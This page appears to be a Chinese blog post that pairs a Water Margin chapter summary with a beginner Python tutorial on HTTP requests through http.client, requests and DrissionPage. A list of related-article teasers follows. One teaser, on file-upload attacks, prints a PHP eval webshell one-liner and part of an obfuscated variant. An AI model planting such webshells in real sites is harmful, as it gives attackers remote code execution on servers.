第四十九回 吴学究双掌连环计 宋公明三打祝家庄-Python与HTTP服务交互


吴用请戴宗从梁山请来铁面孔目裴宣、圣手书生萧让、通臂猿侯健、玉臂匠金大坚来帮忙。又告诫扈家庄的扈成,打起来不要去帮祝家庄。

孙立把旗号改成“登州兵马提辖孙立”,来祝家庄找峦廷玉,被热情接待。

第三天,宋江派小李广花荣来打,跟祝彪不分胜负。

第四天,宋江又来打,故意让孙立抓住了石秀。

第五天,宋江兵分四路来打祝家庄,祝家庄人马一齐杀出去。孙立孙新就把梁山的旗号插到门楼上,邹润邹渊去放出了原来被抓的七个人,在祝家庄里杀起来。最终祝家庄被宋江拿下,扈家庄除了扈成逃走了,其他也都被李逵杀了。

宋江想将祝家庄人全杀掉,后来是看在帮助石秀的钟离老人面上,赦免了整个庄子。

里应外合这招,一招鲜吃遍天,被宋江和吴用玩透了!同样it技术中,学会python与http服务交互,也是一项极具价值的技能!

Python与HTTP服务交互

可以通过http.client requests RissionPage等。

http.client标准库

http.client 是Python标准库中的一个模块,用于发送HTTP请求。这个模块提供了一个低级别的接口,允许你手动构建HTTP请求并处理响应。下面是对 http.client 的详细介绍:

使用方法

使用 http.client 发送HTTP请求通常涉及以下步骤:

  1. 创建连接:使用 http.client.HTTPSConnectionhttp.client.HTTPConnection 创建一个连接对象。

  2. 发送请求:使用连接对象的 request 方法发送请求。你需要指定请求方法(如 'GET'、'POST' 等)、请求的URI、以及可选的请求头和请求体。

  3. 获取响应:使用连接对象的 getresponse 方法获取响应对象。这个对象是一个 http.client.HTTPResponse 实例,它提供了对响应的访问。

  4. 读取响应内容:你可以使用响应对象的 read 方法读取响应体。

  5. 关闭连接:完成请求和响应处理后,记得关闭连接。

示例代码

下面是一个使用 http.client 发送GET请求的示例:

import http.client  # 创建连接  
conn = http.client.HTTPSConnection("www.example.com")  # 发送GET请求  
conn.request("GET", "/")  # 获取响应  
response = conn.getresponse()  # 输出响应状态码和响应体  
print(response.status, response.reason)  
print(response.read())  # 关闭连接  
conn.close()

http.client 提供的是底层的HTTP通信功能,如果你想要更高级的功能,如自动处理重定向、连接池等,你可能需要考虑使用其他库,如 requests

requests 

requests库是一个用Python语言编写的HTTP客户端库,基于urllib3模块,采用Apache2 Licensed开源协议。这个库使得发送HTTP请求变得简单且人性化。

安装:

pip install requests

例子:

import requests  # 发送GET请求到指定的URL  
response = requests.get('https://www.example.com')  # 输出响应的状态码  
print(response.status_code)  # 输出响应的内容  
print(response.text)

发送post

import requests  # 发送POST请求到指定的URL,并附带一些数据  
url = 'https://www.example.com/post'  
data = {'key1': 'value1', 'key2': 'value2'}  
response = requests.post(url, data=data)  # 输出响应的状态码和内容  
print(response.status_code)  
print(response.text)

RissionPage

RissionPage 是一个基于 python 的网页自动化工具。

它既能控制浏览器,也能收发数据包,还能把两者合而为一。

可兼顾浏览器自动化的便利性和 requests 的高效率。

它功能强大,内置无数人性化设计和便捷功能。

它的语法简洁而优雅,代码量少,对新手友好。

个人理解,它是一个request的替代品

 安装:

pip3  install drissionpage

例子:

from DrissionPage import SessionPage# 创建页面对象
page = SessionPage()# 爬取3页
for i in range(1, 4):# 访问某一页的网页page.get(f'https://gitee.com/explore/all?page={i}')# 获取所有开源库<a>元素列表links = page.eles('.title project-namespace-path')# 遍历所有<a>元素for link in links:# 打印链接信息print(link.text, link.link)

输出信息:

zan8in/afrog https://gitee.com/zanbin/afrog
xieguigang/Darwinism https://gitee.com/xieguigang/Darwinism
RTE-Dev/RedPlayer https://gitee.com/rte-dev/RedPlayer
panday/chat-master-web https://gitee.com/panday94/chat-master-web

宋江走后,知府到李家庄打听祝家庄的情况,说李应勾结梁山,把他和杜兴一起绑了,路上遇到宋江、林冲、花荣、杨雄、石秀,将他俩救下。

回到梁山,宋江才告知实情,原来那知府是假扮的,他们走后就把家人和财产也运到梁山,还放火把庄院也烧了,这样李应和杜兴也只好上山了。

第二天,宋江做媒,将一丈青扈三娘许配给矮脚虎王英。大家正在吃喜酒,听见山下有人来报:朱贵头领酒店里,有个郓城人要来见头领。

欲知后事如何,且听下回分解。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/719977.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Qt+FFmpeg+opengl从零制作视频播放器-1.项目介绍

1.简介 学习音视频开发&#xff0c;首先从做一款播放器开始是比较合理的&#xff0c;每一章节&#xff0c;我都会将源码贴在最后&#xff0c;此专栏你将学习到以下内容&#xff1a; 1&#xff09;音视频的解封装、解码&#xff1b; 2&#xff09;Qtopengl如何渲染视频&#…

Docker实战——容器

目录 Docker 容器的基本概念与操作1.使用“docker create”创建容器。这里基于Nginx的镜像创建了一个容器&#xff0c;名字为mycontainer。2.使用“docker ps -a”命令查看所有的容器&#xff0c;这时的容器不一定是运行状态。3.使用 “docker start” 命令可以启动容器。4.使用…

优化zabbix对Docker API的监控

启用Zabbix Agent 2对Docker API的监控&#xff0c;通常不需要直接编辑/etc/zabbix/zabbix_agent2.d/下的文件&#xff0c;因为针对Docker容器的监控是通过内建的插件实现的。以下是大致步骤&#xff1a; 确认Agent版本与配置&#xff1a; 确保你安装的是支持Docker监控的Zabbi…

JMeter正则表达式提取器和JSON提取器基础用法,小白必会!

【面试突击班】1. 性能测试主要关注哪些指标&#xff1f; 最近在利用JMeter做接口自动化测试&#xff0c;正则表达式提取器和JSON提取器用的还挺多&#xff0c;想着分享下&#xff0c;希望对大家的接口自动化测试项目有所启发。 在 JMeter 中&#xff0c;正则表达式和 JSON 提…

探索Ubuntu命令行:常见问题与解决方案

一、引言 Ubuntu&#xff0c;作为一款流行的Linux发行版&#xff0c;其命令行界面&#xff08;CLI&#xff09;为用户提供了丰富的功能和灵活性。然而&#xff0c;对于新手来说&#xff0c;命令行可能会带来一些挑战。本文将探讨一些在使用Ubuntu命令行时可能遇到的问题及其解决…

C语言内存优化实用指南

一、引言 在C语言编程中&#xff0c;内存管理是一项至关重要的任务。有效的内存优化可以提升程序的性能&#xff0c;减少资源消耗&#xff0c;并防止可能出现的内存泄漏和溢出问题。以下是一些关于C语言内存优化的实用指南。 二、理解内存管理 在C语言中&#xff0c;程序员需…

VMware虚拟机安装Linux

1.新建虚拟机 2. 安装操作系统 等待 选择中文 点软件选择 选择下面的GNOME桌面 禁用KDUMP 点进安装位置&#xff0c;点完成就可以了 网络连接&#xff0c;右上角打开 开始安装&#xff0c;输入ROOT密码&#xff0c;创建用户 点击重启&#xff0c;等待 重启完成之后出现下面的界…

Windows10蓝牙开关按钮不见了问题??

Windows10蓝牙开关按钮不见了问题&#xff1f;&#xff1f;此类问题一般是系统更新不及时的bug&#xff0c;遗漏掉了蓝牙相关驱动插件 试过很多方法&#xff0c;直接下载一个驱动人生即可&#xff0c;主要通过官网下载 下载这个就行 打开软件自动扫描就可以了 最后查看结果

python二级常见题目

一.常见语法 jieba—第三方中文分词函数库 jieba—第三方中文分词函数库_jieba库函数-CSDN博客 Python基础——format格式化 Python基础——format格式化_python format-CSDN博客 format()方法的使用超全_format方法-CSDN博客 Python中random函数用法整理 Python中random…

web安全学习笔记【19】——信息打点(9)

信息打点-红蓝队自动化项目&资产侦察&武器库部署&企查产权&网络空间[1] #知识点&#xff1a; 1、业务资产-应用类型分类 2、Web单域名获取-接口查询 3、Web子域名获取-解析枚举 4、Web架构资产-平台指纹识别 ------------------------------------ 1、开源-CM…

第8章:Nginx与Web应用《Nginx实战:从入门到精通》

Nginx不仅仅是一个高效的静态内容服务器和反向代理服务器&#xff0c;它还能与各种流行的Web应用框架和语言环境无缝集成&#xff0c;从而提供强大的动态内容处理能力。在本章中&#xff0c;我们将深入探讨Nginx如何与PHP、Python、Ruby和Node.js等常见的Web应用和语言环境协同…

【AI视野·今日CV 计算机视觉论文速览 第300期】Fri, 1 Mar 2024

AI视野今日CS.CV 计算机视觉论文速览 Fri, 1 Mar 2024 Totally 114 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Computer Vision Papers DistriFusion: Distributed Parallel Inference for High-Resolution Diffusion Models Authors Muyang Li, Tianle Cai, J…

考研复试指南

1. 记住&#xff0c;复试的本质不是考试&#xff0c;而是一场自我展示。 考研复试并非简单的知识考察&#xff0c;更是一场展示自我能力和潜力的机会。除了学科知识&#xff0c;考官更关注你的综合素质、学术兴趣和未来发展规划。因此&#xff0c;要保持自信&#xff0c;用更全…

理疗美容按摩小程序有哪些功能

医疗、美容和按摩等行业是一个快速发展的领域&#xff0c;很多美容院和理疗中心都希望通过小程序来提升服务质量和用户体验。下面我们来看看一个理疗美容小程序可以具备哪些功能&#xff0c;并介绍如何使用这些功能。 1. **在线预约服务**&#xff1a;用户可以通过小程序预约理…

详解自动化测试框架特点和原理

【软件测试面试突击班】2024吃透软件测试面试最全八股文攻略教程&#xff0c;一周学完让你面试通过率提高90%&#xff01;&#xff08;自动化测试&#xff09; 今天捡一些比较典型的工具型自动化框架来介绍&#xff0c;主要围绕历史、特点和原理来讲解&#xff0c;至于使用教程…

文件上传之图片马

图片马介绍 图片马&#xff1a;就是在正常图片中插入木马。 图片马的制作 1.我们先创建php木马文件1.php&#xff0c;内容有以下两种方式&#xff1a; <?php eval($_POST[a]); ?> /* 常规一句话木马 */ <?php $aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8; $myfile…

MYSQL07高级_Hash结构、平衡二叉树、B树、B+树介绍

文章目录 ①. 全表遍历②. Hash结构③. 平衡二叉搜索树(AVL)④. B树⑤. B树⑥. 时间复杂度 选择的合理性 磁盘的I/O操作次数对索引的使用效率至关重要查找都是索引操作,一般来说索引非常大,尤其是关系型数据库,当数据量比较大的时候,索引的大小有可能几个G甚至更多,为了减少索引…

VMwareWorkstation17.0虚拟机安装搭建PcDos2000虚拟机(完整图文详细步骤教程)

VMwareWorkstation17.0虚拟机安装搭建PcDos2000虚拟机&#xff08;完整图文详细步骤教程&#xff09; 一、PcDos20001.PcDos2000简介2.PcDos2000下载 二、创建PcDos2000虚拟机1.新建虚拟机2.类型配置3.类型配置4.选择版本5.命名、存位置6.磁盘容量7.调整虚拟配置7.1 调整虚拟配…

pytest多重断言插件-pytest-assume

最近准备废弃之前用metersphere做的接口自动化&#xff0c;转战pytest了&#xff0c;先来分享下最近接触到的一个插件&#xff1a;pytest-assume。 在使用这个插件之前&#xff0c;如果一个用例里面有多个断言的话&#xff0c;前面的断言失败了&#xff0c;就不会去执行后面的断…

flutter打包命令

apk Build and release an Android app | FlutterHow to prepare for and release an Android app to the Play store.https://docs.flutter.dev/deployment/android#reviewing-the-gradle-build-configuration flutter build apk --split-per-abi 如果不同cpu架构不打到同一个…